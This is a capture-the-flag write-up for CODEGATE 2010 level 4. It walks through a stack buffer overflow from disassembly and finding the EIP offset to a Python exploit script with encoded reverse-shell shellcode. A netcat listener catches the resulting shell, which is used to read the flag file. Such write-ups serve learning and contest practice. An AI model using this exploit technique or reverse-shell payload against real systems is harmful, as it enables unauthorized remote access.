CODEGATE2010 CTF Level 4

Here's the writeup of level 4.

The challenge description was:

credentials: ctf4.codegate.org port - 9000, 9002, 9004, 9005, 9006 (you can choose any port)

BINARY FILE: http://ctf.codegate.org/files____/easy

As we can see it's a straight forward stack overflow.

push    ebp
mov     ebp, esp
sub     esp, 118h
mov     eax, [ebp+arg_4]
mov     [esp+118h+var_110], eax
mov     eax, [ebp+arg_0]
mov     [esp+118h+var_114], eax
lea     eax, [ebp+var_108]
mov     [esp+118h+var_118], eax
call    _memcpy
leave
retn

which translates to something like:

int func(const void *a1, size_t a2)
{
  char buffer;
  memcpy(&buffer, a1, a2);
  return 0;
}

EIP
EIP is reached after 268 bytes as we can see here:

debian:~# perl -e 'print "A"x272' | ./easy
Input: Segmentation fault (core dumped)

and in gdb we see our eip being 0x41414141

debian:~# gdb ./easy core
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...

warning: Can't read pathname for load map: Input/output error.
Reading symbols from /lib/i686/cmov/libc.so.6...done.
Loaded symbols for /lib/i686/cmov/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
Core was generated by `./easy'.
Program terminated with signal 11, Segmentation fault.
[New process 2044]
#0  0x41414141 in ?? ()
(gdb)

The shellcode is reachable over esp and eax. After looking for a ret address I went with eax as shown below:

debian:~# /root/msf/msf3/msfelfscan easy -j eax
[easy]
0x080484df call eax
0x0804860b call eax

Now we can basically just add the shellcode and the string would look like:

debian:~# perl -e 'print "\x90"x268,"BBBB","\x90"x300' | ./easy
Input: Segmentation fault (core dumped)

Let's see how it looks in memory

debian:~# gdb ./easy core
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...

warning: Can't read pathname for load map: Input/output error.
Reading symbols from /lib/i686/cmov/libc.so.6...done.
Loaded symbols for /lib/i686/cmov/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
Core was generated by `./easy'.
Program terminated with signal 11, Segmentation fault.
[New process 2175]
#0  0x42424242 in ?? ()
(gdb) x/50x $eax
0xbfb8d650:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfb8d660:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfb8d670:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfb8d680:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfb8d690:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfb8d6a0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfb8d6b0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfb8d6c0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfb8d6d0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfb8d6e0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfb8d6f0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfb8d700:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfb8d710:     0x90909090      0x90909090
(gdb)
0xbfb8d718:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfb8d728:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfb8d738:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfb8d748:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfb8d758:     0x90909090      0x42424242      0x90909090      0x90909090
0xbfb8d768:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfb8d778:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfb8d788:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfb8d798:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfb8d7a8:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfb8d7b8:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfb8d7c8:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfb8d7d8:     0x90909090      0x90909090
(gdb)

Good we can see that we have exactly what we send [junk][EIP][Shellcode], the problem with that is only that now it will jump to eax, go through our nops and then crash on 0x42424242 which is bad, so we will add a small jump "\xeb\x12" and we should be fine.

This time replace the shellcode with int3 so if it will hit the breakpoint we know our shellcode would be executed.

debian:~# perl -e 'print "\x90"x264,"\xeb\x12\x90\x90","\x0b\x86\x04\x08","\xcc"x300' | ./easy
Input: Trace/breakpoint trap (core dumped)

Nice, exactly as expected our in3 get hit. Now we have a working exploit, we just need to add a shellcode.
In the challenge portbind shellcode was not working, but a connect back shellcode worked like charm.

Exploit

#!/usr/bin/python
import sys
import socket
import time
from struct import pack
shellcode = ''
# linux/x86/shell_reverse_tcp - 98 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# LHOST=127.0.0.1, LPORT=4444, ReverseConnectRetries=5,
# PrependSetresuid=false, PrependSetreuid=false,
# PrependSetuid=false, PrependChrootBreak=false,
# AppendExit=false, InitialAutoRunScript=, AutoRunScript=
shellcode += "\xd9\xcd\xd9\x74\x24\xf4\xbd\xac\x9c\x52\x1b\x5b\x33\xc9"
shellcode += "\xb1\x12\x31\x6b\x1a\x83\xc3\x04\x03\x6b\x16\xe2\x59\xad"
shellcode += "\x89\xec\x42\x9d\x6e\x40\xee\x20\xf8\x87\x5e\x42\x37\xc7"
shellcode += "\xc5\xd5\xaf\xb7\xf9\xe9\x2e\x2e\x91\xf8\x6c\xc8\x32\x91"
shellcode += "\x9c\x45\xe4\xec\x7c\x26\x6e\x89\x26\x64\xee\x0c\x50\xaf"
shellcode += "\x5e\x91\x93\xd0\xd7\x97\xd2\x81\x8f\x48\x0a\x51\x27\xff"
shellcode += "\x7b\xf7\xde\x91\x0a\x14\x70\x3d\x84\x3a\xc0\xca\x5b\x3c"
def send_payload(host, port, payload):
  print "[+] Connecting to %s:%d" % (host, port)
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((host, port))
  a = s.recv(100)
  print "[+] Received: %s" % a
  time.sleep(2)
  print "[+] Sending Payload"
  s.send(payload)
  s.close()
def main():
  host = "ctf4.codegate.org"
  port = 9000
  payload = ''
  #  "\x90"x264,"\xeb\x12\x90\x90","BBBB","\x90"x300'
  payload += "\x90"*264
  payload += "\xeb\x12\x90\x90"
  payload += pack("<L", 0x0804860b)
  payload += "\x90"*80 + shellcode
  send_payload(host, port, payload)
if __name__ == "__main__":
  print "-=[ CODEGATE level 4 ]=-"
  main()

Now just run in terminal #1

coma@ext ~ $ nc -nv -l -p 9999
listening on [any] 9999 ...

And in terminal #2 (note that you need to change the shellcode, it's just a placeholder, not actually working)

debian:~# python ctf4_9000.py
-=[ CODEGATE level 4 ]=-
[+] Connecting to ctf4.codegate.org:9000
[+] Received: Input:
[+] Sending Payload

After sending the payload you should see in terminal #1:

coma@ext ~ $ nc -nv -l -p 9999
listening on [any] 9999 ...
connect to [127.0.0.1] from (UNKNOWN) [222.239.224.233] 36435

Good everything worked as expected, now let's find the flag.

ls
ls: cannot open directory .: Permission denied

pwd
/

id
uid=1003(easy) gid=1003(easy)

cd /home/easy

ls
easy
examples.desktop
flag.txt

cat flag.txt
bc15dxxxxxxxxxxxxxxxxxx  -

And challenge 4 is solved.

© 2015 coma. All rights reserved.
Disclaimer: There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk.
In no event shall the author be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.